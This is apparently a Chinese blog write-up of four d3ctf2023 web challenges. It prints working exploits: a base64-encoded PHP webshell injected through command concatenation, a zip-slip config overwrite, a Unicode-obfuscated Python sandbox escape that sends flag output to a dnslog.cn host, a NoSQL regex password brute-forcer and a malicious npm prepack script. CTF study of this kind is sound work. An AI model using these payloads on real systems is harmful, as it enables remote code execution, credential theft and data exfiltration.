d3ctf2023 wp

d3ctf2023 wp

前言:
近来很忙,一边在小厂努力搬砖一边还得备战ctf,明显感觉到时间精力有限了,所以这个比赛基本上只看了3小时,其他的都是赛后复现了,果然,aurora战队这边很多小兄弟也时间水平精力都有限(谁叫这比赛在五一头两天,前面又连上了好多班),所以成绩很差
然值得一提的是,继承de1ta传统的(虽然阿烨和d冠是很想和我们撇清关系,他们也太忙了(好吧d冠只是怕我们翻车))S1uM4i战队在这次比赛中勇夺 第三 第二!!(感谢评论区提醒)
不过我就没去丢人了,毕竟本就没时间打

d3cloud

一开始尝试压缩shell.php后上传,虽然上传成功,但是不知道目录,搜索后发现默认目录https://laravel-admin.org/docs/en/extension-media-manager#Configuration是public,但是访问失败,原因是这个目录无法被直接访问

image-20230430195045479

事后getshell时再去确认的

注意到有源码泄露,并且原来组件不存在自动解压功能,根据题目暗示审计这个地方的代码

image-20230430172848010

popen处命令拼接,尝试curl,卡住了,直接崩溃,怀疑不出网

偶然通过报错得知绝对路径

image-20230430173310191

尝试写webshell,由于代码对斜杠有过滤(或者是某种处理)

image-20230430173400256

所以编码绕过

echo '<?php @eval($_POST[1] );?>'>/var/www/html/public/1.php
ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdICk7Pz4nPi92YXIvd3d3L2h0bWwvcHVibGljLzEu
cGhwCg==
;echo ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdICk7Pz4nPi92YXIvd3d3L2h0bWwvcHVibGljLzEucGhwCg== | base64 -d | sh;test.zip

image-20230430173421024

d3go

由于没有办法admin登录,所以尝试sql注入/session伪造

以为不能扫,所以的确就不知道怎么做了。看了别人的wp,原来可以扫到

http://139.196.211.236:31503/assets/

image-20230430202819203

那明显就是可以下载文件的样子,尝试目录穿越拉取源码

后面经过代码审计,我们发现解析session的时候

任意注册新用户

随后再在注册的时候抓包

image-20230430204907009

{
"id":1,
"username":"admin",
"password":"123",
"createdat":"2015-09-15T14:00:12-00:00",
"deletedat":"2016-09-15T14:00:12-00:00"
}

发送后,可以删除admin登录

之后我们用自己的账号登录上去就可以

接着是覆盖config.yaml去更新我们待会上传的webshell

仿制一份config,yaml

server:
  noAdminLogin: true
database:
  user: root
  password: root
  host: 127.0.0.1
  port: 3306
update:
  enabled: true
  url: http://localhost:5000/unzipped/596170f1-5c45-43f6-b109-124b39b6e46b/exp
  interval: 1

使用脚本

import zlib
import zipfile

try:
    with open("config.yaml","r") as f:
        binary = f.read()
        zipFile = zipfile.ZipFile("config.zip","a",zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("config.zip")
        zipFile.writestr("../../config.yaml", binary)
        zipFile.close()
except Exception as e:
    raise e

上传后,他真的覆盖了config.yaml

image-20230503202748401

然后我们上传shell

package main
import (
    "d3go/config"
    "net/http"
    "os/exec"
    "github.com/gin-gonic/gin"
    "github.com/jpillora/overseer"
    log "github.com/sirupsen/logrus"
)
func prog (state overseer.State){
    r := gin.Default()
    InitRouter(r)
    server := http.Server{
        Addr:   ":8080",
        Handler: r,
    }
    go func(){
        if err := server.Serve(state.Listener); err != nil && err != http.ErrServerClosed {
        log.Fatal(err)
        }
    }()
    <-state.GracefulShutdown
    if err := server.Shutdown (nil); err != nil {
        log.Fatal(err)
    }
}
func main(){
    // t := os.Getenv("OVERSEER BIN CHECK")
    // fmt.Printf(t)
    config.Init()
    // db.Init()
    if config.Conf.AutoUpdate{
        log.Printf("Auto update enabled")
        err := overseer.RunErr(overseer.Config{
            Program: prog,
            Address:":8080",
            Fetcher: &config.Fetch,
        })
        if err != nil{
            log.Fatalln(err)
        }
    }else {
        r := gin.Default()
        InitRouter(r)
        if err := r.Run(":8080"); err != nil{
            log.Fatal(err)
        }
    }
}
func InitRouter(r *gin.Engine) {
    r.GET("/shell",Shell)
}

func Shell(c *gin.Context) {
    //c := c.Query("cmd")
    cmd ,_ := exec.Command("bash","-c","ls /").Output()
    c.String(200, string(cmd))
}
go build exp.go

注意一下,编译go的时候需要一些依赖,我们先设置gopath在我们的题目源码目录,然后go install(太慢的话用这个设置代理:go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct

然后传上去更新就行

image-20230506224912619

本地看着这个webshell是没问题的,但是无奈复现不了,很怪

escape Plan

参考:Python 沙箱逃逸的经验总结 - Tr0y's Blog

题目就是一个python的eval,然后增加了很多黑名单

black_char = [
        "'", '"', '.', ',', ' ', '+',
        '__', 'exec', 'eval', 'str', 'import',
        'except', 'if', 'for', 'while', 'pass',
        'with', 'assert', 'break', 'class', 'raise',
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    ]

仔细观察,发现过滤的是:一些关键词+一些特殊符号+全部数字

但是我们注意到,eval的话是可以用unicode字符的,所以数字字母的过滤我们可以无视其发生,

关于unicode字符的使用,相关的知识点如下:

有些时候unicode解析是不可以的

image-20230511230351614

有些时候是可以的

image-20230511230743423

如何掌握规律呢:

只有标识符会被normalize,normalize的时候unicode变形字符会被变成标准字符,可以用这个工具去生成你要的h13t0ry/UnicodeToy: Unicode fuzzer for various purposes (github.com)

为什么会这样的原因:PEP 3131 – Supporting Non-ASCII Identifiers | peps.python.org

大概就是说标识符是支持这种的,然后会自动转化为NFKC标准模式

那你肯定会说了,这不是有局限性呀,字符串要是出现数字的话就寄了

其实可以把字符串转化为标识符,然后再用Unicode变形字符,这点待会说,我们看看下面

假如说标识符可以unicode绕过的话,那么只剩下

"'", '"', '.', ',', ' ', '+','__'

引号的过滤我们考虑

image-20230511225105078

注意到+被过滤了,所以只能用

image-20230511225727773

这个可以构造任意的字符串了(还有数字,一样的道理,直接创建一个数组,然后len()获取长度)

>>> _a_aiamapaoarata_a_=()
>>> list(dict(_a_aiamapaoarata_a_=()))
['_a_aiamapaoarata_a_']
>>> len([])
0
>>> list(dict(_a_aiamapaoarata_a_=()))[0]
'_a_aiamapaoarata_a_'
>>> len(list(dict(aa=()))[len([])])   #### 这个原理和上面类似,其实就是想要构造2
2
>>> list(dict(_a_aiamapaoarata_a_=()))[0][::2]
'__import__'
>>>

之所以不直接用unicode的2是因为只有标识符可以被转化为标准格式

image-20230511230351614

然后我们回到字符串的问题

可以把字符串转化为标识符,然后再用Unicode变形字符,我们看看下面

比如一个base64的字符串(payload编码可以绕过很多关键字)

dGhhaWlzb2sgICAg
>>> import binascii
>>> binascii.a2b_base64("dGhhaWlzb2sgICAg")
b'thaiisok    '

但是把2换成unicode变形字符会报错,因为不是标识符不会转化

image-20230512091423589

我们可以通过dict+list的方式先把它变成数组的键,也就是标识符,然后可以用unicode变形字符替换

image-20230512091857319

>>> dict(dGhhaWlzb2sgICAg=())
{'dGhhaWlzb2sgICAg': ()}
>>> list(dict(dGhhaWlzb2sgICAg=()))
['dGhhaWlzb2sgICAg']
>>> list(dict(dGhhaWlzb2sgICAg=()))[0]
'dGhhaWlzb2sgICAg'
>>> dict(ᴰGhhaWlzb2sgICAg=())
{'DGhhaWlzb2sgICAg': ()}
>>> list(dict(ᴰGhhaWlzb2sgICAg=()))[0]
'DGhhaWlzb2sgICAg'
>>>

所以所有字符串都可以被unicode变形字符编码

回到正题,构造exp

首先注意到是无回显的,需要我们外带或者反弹shell

所以我们可以设置这样的payload

__import__('os').popen('ping `/readflag`.8gpw3o.dnslog.cn  ').read() 

本地eval一下是可以用的

然后我们base64编码,后面用unicode字符绕一下

eval(__import__('binascii').a2b_base64("dGhhaWlzb𝟤sgICAg"))
## 类似于这样,base64换成payload

然后__import__被ban了

image-20230512092223108

虽然可以这样绕但是__被ban了

我们可以把__import__

>>> eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])
<built-in function __import__>

这里的切片[::2] 是步长为2的意思,就是间隔1位取字符,可以绕过__限制

eval一下返回它的标识符

然后操作来了,可以vars(标识符,'参数')拿到它的dict属性

比如说:

vars(eval("__import__")("binascii"))

image-20230512094621675

然后直接取出要的函数就行

image-20230512094742354

这里可以注意到,vars, eval, 都是标识符,直接ᵥars,ᵉval绕

字符串直接用:dict+list的方式先把它变成数组的键,也就是标识符,然后可以用unicode变形字符替换

vars(eval("__import__")("binascii"))

比如说刚刚上面的payload就可以替换为

>>> vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))

以此类推咯

完整exp:

payload 直接eval执行这个

__import__('os').popen('ping `/readflag`.8gpw3o.dnslog.cn  ').read() 

base64一下

X19pbXBvcnRfXygnb3MnKS5wb3BlbigncGluZyBgL3JlYWRmbGFnYC44Z3B3M28uZG5zbG9nLmNuICAnKS5yZWFkKCkg

exp.py

import base64

u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'

CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbigncGluZyBgL3JlYWRmbGFnYC44Z3B3M28uZG5zbG9nLmNuICAnKS5yZWFkKCkg=()))[len([])]))"

## 为了防止数字被过滤,全部数字替换为字典中的对应的unicode特殊字符
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})

print(base64.b64encode(CMD.replace('eval', 'ᵉval').encode()).decode())

运行,生成base64

下面Post提交的时候记得urlencode

image-20230506155239950

dns外带

image-20230506155250865

d3node

/getHint1

image-20230506161227961

Userinfo.findOne({username: req.body.username, password: req.body.password}).exec()
    .then((info)=>{
        if(info==null){
        return res.render(xxxx)
        }

    ...
    })

怀疑findOne不是自己实现的,是第三方依赖或者内置的函数(因为我之前出node题的时候好像见过),谷歌一搜

image-20230506161442614

看到了别人用

var mongodb = require('mongodb');

const mongoose = require('mongoose');
const User = mongoose.model('users', userSchema);
...
     const user = await User.findOne({
    email: req.body.email,
    password: req.body.password
  }).exec();

猜测是mongodb+mongoose这样的express系统,虽然这算是必要条件了,但是可以尝试

然后mongodb的话经常提到的就是Nosql注入了(好像去年d3也有),搜一搜学一学试一试(最好起个环境)

nosql注入要json发送

image-20230506164207120

image-20230506164216437

"username":{"$regex": "^admin1"},   //回显302 (成功)
"username":{"$regex": "^admin2"}, //回显200

写个nosql注入脚本

import requests
import json

url = "http://139.196.153.118:30986/user/LoginIndex"

# 发送post请求
# 发送json数据

dicts = '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz'
flag = ''

for i in range(1, 32):
    for s in dicts:

        datas = json.dumps({'username': 'admin', 'password': {'$regex': '^' + flag + s}})

        # 不要跟随重定向
        res = requests.post(url,data=datas, headers={'Content-Type': 'application/json'})
        print("test:" + s)
        if "Welcome back" in res.text :
            flag += s
            print("[+]" + flag)
            break

print("[*]the passwd: "+flag)

image-20230506171327426

admin 密码为 dob2xdriaqpytdyh6jo3

登录后台可以看到另一个hint (其实普通用户也可以看到)

image-20230506165145604

readFIleSync是node读文件的,这里应该是这个路由/dashboardIndex/ShowExampleFile

默认不传参的话可以直接文件名读取

image-20230506170745180

当然啦,读不到flag

packagelist可以下载一些东西

image-20230506172113343

打开看发现是一个demo,app.js和一个package.json,以前我们常常那他俩搭建node服务,npm install可以加载依赖

此外,通过测试后台路由,发现只有一个上传文件是用户可控的,上传了它的demo

image-20230506172443605

要求Json file , 然后又看了看这几个路由,暗示我们传package.json进行利用

image-20230506172509695

很难不想到去年,atao和miku爷爷一起开开心心地打bytectf的某道题,我们上传的package.json的url使用了file协议,可以直接读取文件ByteCTF Web Writeup (erroratao.github.io)

直接搜搜当时bytectf wp

上传

{
  "name": "app-example",
  "version": "1.0.0",
  "description": "Example app for the Node.js Getting Started guide.",
  "author": "anonymous",
  "license": "MIT",
  "scripts": {"prepack": "cat /* > /tmp/secret.txt"}
}

npm install会执行scripts定义的一些字段,注意这里一定要prepack而不用preinstall(我也不懂,实测preinstall失效)

发现这个路由/dashboardIndex/SetDependencies是更新依赖的

image-20230506175900226

应该是要传啥呢

操作半天,发现PackDependencies是可以打包依赖的,打包下载下来后的确有这个依赖,但是怎么没更新上呢

仔细看,下载下来的json还需要dependencies

image-20230506181300229

想起之前的payload了ByteCTF Web Writeup (erroratao.github.io)

image-20230506181352797

我们可以指定json本地路径package.json 中 npm 依赖包的写法 - 知乎 (zhihu.com)

image-20230506181614526

(雷姆,atao就这样去上班了,miku就这样去考研了,而我还在小厂搬砖)

然后试了很多次,发现只要script

image-20230506204821466

只有这里的scripts会被npm install先会执行

然后/dashboardIndex/PackDependencies

image-20230506204908952

最后任意文件读取/dashboardIndex/ShowExampleFile?filename=/tmp/ok.txt

cat /*是依托东西,可以看到elf头,所以ls一下发现是readflag,那就直接运行了

image-20230506204257618

/readflag > /tmp/ok.txt

image-20230506204011638

事后我想了一下为什么不是preinstall,忽然发现/PackDependencies应该执行的是类似npm pack的操作,不是install

评论

  1. ABU
    12 月前
    2023-5-12 23:46:12

    S1uM4i 是第二

    • 博主
      ABU
      12 月前
      2023-5-17 15:19:56

      感谢指正

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇